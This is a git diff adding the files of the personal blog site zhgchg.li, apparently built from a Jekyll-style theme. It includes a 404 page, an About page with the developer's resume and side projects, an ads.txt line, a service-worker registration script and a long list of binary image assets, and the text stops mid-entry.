diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 000000000..c19d5ff9d --- /dev/null +++ b/404.html @@ -0,0 +1 @@ + 404: Page not found | ZhgChgLi
Home 404: Page not found
404: Page not found
Cancel

404: Page not found

Sorry, we've misplaced that URL or it's pointing to something that doesn't exist.

diff --git a/CNAME b/CNAME new file mode 100644 index 000000000..a9eab23ff --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +zhgchg.li \ No newline at end of file diff --git a/about/index.html b/about/index.html new file mode 100644 index 000000000..b63dce47b --- /dev/null +++ b/about/index.html @@ -0,0 +1 @@ + About | ZhgChgLi
Home About
About
Cancel

About

Harry Li (ZhgChg Li)

iOS/Web Developer @ Taipei / Taiwan 🇹🇼

Skills

  • iOS (Swift/Obj-C)
  • Web (PHP/Laravel/MySQL/JavaScript/Jquery/HTML/CSS3/Bootstrap)
  • Tools (Ruby/Python/Git)

Resume

Education

National Taiwan University of Science and Technology

  • [2012 ~ 2016] Bachelor’s degree, Information Management.

Experience

Pinkoi | 亞洲領先設計購物網站| Design the way you are

  • [2022/01 ~ 2023/08] App Platform Team Enginner Lead
  • [2021/03 ~ 2023/08] iOS Developer
  • [2021/07 ~ 2021/12] iOS Team Lead

StreetVoice 街聲- 最潮音樂社群

  • [2019/12 ~ 2021/02] iOS Developer

結婚吧一站式婚禮服務平台 - 線上準備婚禮最安心

  • [2017/10 ~ 2019/10] iOS Developer
  • [2017/02 ~ 2017/10] Backend Developer

Starwing Technology Co

  • [2015/07 ~ 2016/06] FullStack Developer

Speeches

Accomplishments

第 42 屆國際技能競賽

  • [2012] 網頁設計 備取國手

第 41 屆全國技能競賽

  • [2011] 網頁設計 冠軍🇹🇼

My works (side project)

ZMarkupParser

ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.

ZMarkupParser

ZMediumToMarkdown

ZMediumToMarkdown is a powerful tool that allows you to effortlessly download and convert your Medium posts to Markdown format.

ZMediumToMarkdown

ZReviewTender

ZReviewTender is a tool for fetching app reviews from the App Store and Google Play Console and integrating them into your workflow.

ZReviewTender

diff --git a/ads.txt b/ads.txt new file mode 100644 index 000000000..127e3932e --- /dev/null +++ b/ads.txt @@ -0,0 +1 @@ +google.com, pub-3184248473087645, DIRECT, f08c47fec0942fa0 diff --git a/app.js b/app.js new file mode 100644 index 000000000..c6d1832d6 --- /dev/null +++ b/app.js @@ -0,0 +1 @@ +const $notification = $('#notification'); const $btnRefresh = $('#notification .toast-body>button'); if ('serviceWorker' in navigator) { /* Registering Service Worker */ navigator.serviceWorker.register('/sw.js') .then(registration => { /* in case the user ignores the notification */ if (registration.waiting) { $notification.toast('show'); } registration.addEventListener('updatefound', () => { registration.installing.addEventListener('statechange', () => { if (registration.waiting) { if (navigator.serviceWorker.controller) { $notification.toast('show'); } } }); }); $btnRefresh.click(() => { if (registration.waiting) { registration.waiting.postMessage('SKIP_WAITING'); } $notification.toast('hide'); }); }); let refreshing = false; /* Detect controller change and refresh all the opened tabs */ navigator.serviceWorker.addEventListener('controllerchange', () => { if (!refreshing) { window.location.reload(); refreshing = true; } }); } diff --git a/archives/index.html b/archives/index.html new file mode 100644 index 000000000..79ada15d7 --- /dev/null +++ b/archives/index.html @@ -0,0 +1 @@ + Archives | ZhgChgLi
Home Archives
Archives
Cancel

Archives

2024
2023
2022
2021
2020
2019
2018
diff --git a/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png b/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png new file mode 100644 index 000000000..28ed82386 Binary files /dev/null and b/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png differ diff --git a/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png b/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png new file mode 100644 index 000000000..c227c1911 Binary files /dev/null and b/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png differ diff --git a/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png b/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png new file mode 100644 index 000000000..abb358a7d Binary files /dev/null and b/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png differ diff --git a/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png b/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png new file mode 100644 index 000000000..3c9e72a2f Binary files /dev/null and b/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png differ diff --git a/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg b/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg new file mode 100644 index 000000000..ea87b81e1 Binary files /dev/null and b/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg differ diff --git a/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png b/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png new file mode 100644 index 000000000..97c1664ac Binary files /dev/null and b/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png differ diff --git a/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg b/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg new file mode 100644 index 000000000..c6c1fdee8 Binary files /dev/null and b/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg differ diff --git a/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg b/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg new file mode 100644 index 000000000..21a70e02b Binary files /dev/null and b/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg differ diff --git a/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png b/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png new file mode 100644 index 000000000..a6675bb39 Binary files /dev/null and b/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png differ diff --git a/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg b/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg new file mode 100644 index 000000000..e2d183f4a Binary files /dev/null and b/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg differ diff --git a/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg b/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg new file mode 100644 index 000000000..06cb9e6a1 Binary files /dev/null and b/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg differ diff --git a/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png b/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png new file mode 100644 index 000000000..cc4d5e376 Binary files /dev/null and b/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png differ diff --git a/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png b/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png new file mode 100644 index 000000000..51c3f22e7 Binary files /dev/null and b/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png differ diff --git a/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg b/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg new file mode 100644 index 000000000..550b59486 Binary files /dev/null and b/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg differ diff --git a/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg b/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg new file mode 100644 index 000000000..76d69b5aa Binary files /dev/null and b/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg differ diff --git a/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg b/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg new file mode 100644 index 000000000..ae0de4035 Binary files /dev/null and b/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg differ diff --git a/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png b/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png new file mode 100644 index 000000000..aceaee58c Binary files /dev/null and b/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png differ diff --git a/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg b/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg new file mode 100644 index 000000000..c01a1771a Binary files /dev/null and b/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg differ diff --git a/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png b/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png new file mode 100644 index 000000000..10d866fe5 Binary files /dev/null and b/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png differ diff --git a/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png b/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png new file mode 100644 index 000000000..1a32f28a2 Binary files /dev/null and b/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png differ diff --git a/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png b/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png new file mode 100644 index 000000000..f5eca7bff Binary files /dev/null and b/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png differ diff --git a/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png b/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png new file mode 100644 index 000000000..c2c9fed59 Binary files /dev/null and b/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png differ diff --git a/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png b/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png new file mode 100644 index 000000000..b0e8de872 Binary files /dev/null and b/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png differ diff --git a/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png b/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png new file mode 100644 index 000000000..362e76cb9 Binary files /dev/null and b/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png differ diff --git a/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg b/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg new file mode 100644 index 000000000..f4f644fd5 Binary files /dev/null and b/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg differ diff --git a/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png b/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png new file mode 100644 index 000000000..eba57a5ee Binary files /dev/null and b/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png differ diff --git a/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png b/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png new file mode 100644 index 000000000..22eb09d6c Binary files /dev/null and b/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png differ diff --git a/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png b/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png new file mode 100644 index 000000000..ae21506ce Binary files /dev/null and b/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png differ diff --git a/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg b/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg new file mode 100644 index 000000000..67587f7c0 Binary files /dev/null and b/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg differ diff --git a/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png b/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png new file mode 100644 index 000000000..ef4732619 Binary files /dev/null and b/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png differ diff --git a/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png b/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png new file mode 100644 index 000000000..9c3674ac4 Binary files /dev/null and b/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png differ diff --git a/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png b/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png new file mode 100644 index 000000000..72819d456 Binary files /dev/null and b/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png differ diff --git a/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png b/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png new file mode 100644 index 000000000..107131d36 Binary files /dev/null and b/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png differ diff --git a/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png b/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png new file mode 100644 index 000000000..8b48a6fbe Binary files /dev/null and b/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png differ diff --git a/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png b/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png new file mode 100644 index 000000000..901e18989 Binary files /dev/null and b/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png differ diff --git a/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png b/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png new file mode 100644 index 000000000..c52a362ee Binary files /dev/null and b/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png differ diff --git a/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png b/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png new file mode 100644 index 000000000..25911cf88 Binary files /dev/null and b/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png differ diff --git a/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png b/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png new file mode 100644 index 000000000..48fe34a41 Binary files /dev/null and b/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png differ diff --git a/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png b/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png new file mode 100644 index 000000000..aa41005e6 Binary files /dev/null and b/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png differ diff --git a/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png b/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png new file mode 100644 index 000000000..e2dbf0f30 Binary files /dev/null and b/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png differ diff --git a/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png b/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png new file mode 100644 index 000000000..97910ceba Binary files /dev/null and b/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png differ diff --git a/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png b/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png new file mode 100644 index 000000000..af9473e10 Binary files /dev/null and b/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png differ diff --git a/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png b/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png new file mode 100644 index 000000000..737a9c6de Binary files /dev/null and b/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png differ diff --git a/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png b/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png new file mode 100644 index 000000000..cd31d2495 Binary files /dev/null and b/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png differ diff --git a/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png b/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png new file mode 100644 index 000000000..d2a28bbb8 Binary files /dev/null and b/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png differ diff --git a/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png b/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png new file mode 100644 index 000000000..035326f5b Binary files /dev/null and b/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png differ diff --git a/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png b/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png new file mode 100644 index 000000000..c05892f19 Binary files /dev/null and b/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png differ diff --git a/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png b/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png new file mode 100644 index 000000000..dbc1f7c1c Binary files /dev/null and b/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png differ diff --git a/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png b/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png new file mode 100644 index 000000000..bdb689ec8 Binary files /dev/null and b/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png differ diff --git a/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png b/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png new file mode 100644 index 000000000..c99e1370c Binary files /dev/null and b/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png differ diff --git a/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg b/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg new file mode 100644 index 000000000..0ae8b7032 Binary files /dev/null and b/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg differ diff --git a/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png b/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png new file mode 100644 index 000000000..4fd411329 Binary files /dev/null and b/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png differ diff --git a/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png b/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png new file mode 100644 index 000000000..6bd44bd56 Binary files /dev/null and b/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png differ diff --git a/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png b/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png new file mode 100644 index 000000000..ee67fb1cc Binary files /dev/null and b/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png differ diff --git a/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png b/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png new file mode 100644 index 000000000..0ec3c2de7 Binary files /dev/null and b/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png differ diff --git a/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png b/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png new file mode 100644 index 000000000..aa289da6f Binary files /dev/null and b/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png differ diff --git a/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png b/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png new file mode 100644 index 000000000..06e6b246a Binary files /dev/null and b/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png differ diff --git a/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png b/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png new file mode 100644 index 000000000..c56350766 Binary files /dev/null and b/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png differ diff --git a/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png b/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png new file mode 100644 index 000000000..7da1787ea Binary files /dev/null and b/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png differ diff --git a/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png b/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png new file mode 100644 index 000000000..b8e0555cb Binary files /dev/null and b/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png differ diff --git a/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png b/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png new file mode 100644 index 000000000..4d144ac39 Binary files /dev/null and b/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png differ diff --git a/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png b/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png new file mode 100644 index 000000000..c035a8acc Binary files /dev/null and b/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png differ diff --git a/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png b/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png new file mode 100644 index 000000000..a661cd792 Binary files /dev/null and b/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png differ diff --git a/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png b/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png new file mode 100644 index 000000000..a9ee1d8b4 Binary files /dev/null and b/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png differ diff --git a/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png b/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png new file mode 100644 index 000000000..587c209ab Binary files /dev/null and b/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png differ diff --git a/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png b/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png new file mode 100644 index 000000000..6e623e0da Binary files /dev/null and b/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png differ diff --git a/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg b/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg new file mode 100644 index 000000000..65a706369 Binary files /dev/null and b/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg differ diff --git a/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png b/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png new file mode 100644 index 000000000..d571dbe71 Binary files /dev/null and b/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png differ diff --git a/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png b/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png new file mode 100644 index 000000000..aaff6a066 Binary files /dev/null and b/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png differ diff --git a/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png b/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png new file mode 100644 index 000000000..25c1cae66 Binary files /dev/null and b/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png differ diff --git a/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png b/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png new file mode 100644 index 000000000..d5482b40b Binary files /dev/null and b/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png differ diff --git a/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png b/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png new file mode 100644 index 000000000..0bb3bf971 Binary files /dev/null and b/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png differ diff --git a/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png b/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png new file mode 100644 index 000000000..df85f23ab Binary files /dev/null and b/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png differ diff --git a/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png b/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png new file mode 100644 index 000000000..2dc5e7b8f Binary files /dev/null and b/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png differ diff --git a/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png b/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png new file mode 100644 index 000000000..7c91604a9 Binary files /dev/null and b/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png differ diff --git a/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg b/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg new file mode 100644 index 000000000..6fff9b77a Binary files /dev/null and b/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg differ diff --git a/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png b/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png new file mode 100644 index 000000000..7c209106e Binary files /dev/null and b/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png differ diff --git a/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png b/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png new file mode 100644 index 000000000..881530752 Binary files /dev/null and b/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png differ diff --git a/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png b/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png new file mode 100644 index 000000000..4c4c2387f Binary files /dev/null and b/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png differ diff --git a/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png b/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png new file mode 100644 index 000000000..62f34710d Binary files /dev/null and b/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png differ diff --git a/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png b/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png new file mode 100644 index 000000000..9a0af4e38 Binary files /dev/null and b/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png differ diff --git a/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png b/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png new file mode 100644 index 000000000..540229bc3 Binary files /dev/null and b/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png differ diff --git a/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png b/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png new file mode 100644 index 000000000..398ba1266 Binary files /dev/null and b/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png differ diff --git a/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg b/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg new file mode 100644 index 000000000..fa9464c84 Binary files /dev/null and b/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg differ diff --git a/assets/12c5026da33d/1*ljBqKrOFb9Gq48dO0GeIeA.png b/assets/12c5026da33d/1*ljBqKrOFb9Gq48dO0GeIeA.png new file mode 100644 index 000000000..54c6faf8c Binary files /dev/null and b/assets/12c5026da33d/1*ljBqKrOFb9Gq48dO0GeIeA.png differ diff --git a/assets/12c5026da33d/1*z4R7wEHHAlLyF1rdAEAmew.png b/assets/12c5026da33d/1*z4R7wEHHAlLyF1rdAEAmew.png new file mode 100644 index 000000000..3cc631865 Binary files /dev/null and b/assets/12c5026da33d/1*z4R7wEHHAlLyF1rdAEAmew.png differ diff --git a/assets/142244e5f07a/1*1kZp5LQ1yT6m7IBJLoYj9Q.png b/assets/142244e5f07a/1*1kZp5LQ1yT6m7IBJLoYj9Q.png new file mode 100644 index 000000000..a5e7bde13 Binary files /dev/null and 